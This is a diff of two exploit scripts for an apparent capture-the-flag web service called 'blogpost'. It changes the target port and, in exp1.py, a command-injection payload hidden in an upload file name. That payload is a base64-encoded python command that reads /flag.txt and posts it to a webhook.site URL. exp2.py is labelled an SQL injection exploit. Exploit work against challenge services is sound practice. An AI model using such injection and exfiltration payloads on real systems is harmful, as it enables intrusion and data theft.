rev blogpost

services/blogpost/exploits/exp1.py

@@ -4,7 +4,7 @@ from pathlib import Path
 import random
 import string
 
-HOST = "http://localhost:4413"
+HOST = "http://localhost:4400"
 REGISTER_URL = HOST + "/register"
 LOGIN_URL = HOST + "/login"
 CREATE_URL = HOST + "/create"
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
 USERNAME = generate_random_string()
 PASSWORD = generate_random_string()
 # choose payload variant: either use subshell $() or backticks `...`
-filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
+filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
 
 # choose which to use:
 filename_payload = filename_payload  # or payload_backticks

services/blogpost/exploits/exp2.py

@@ -7,7 +7,7 @@ from pathlib import Path
 
 print("SQLi (VULN 2) Exploit")
 
-HOST = "http://localhost:4413"
+HOST = "http://localhost:4400"
 REGISTER_URL = HOST + "/register"
 LOGIN_URL = HOST + "/login"
 CREATE_URL = HOST + "/create"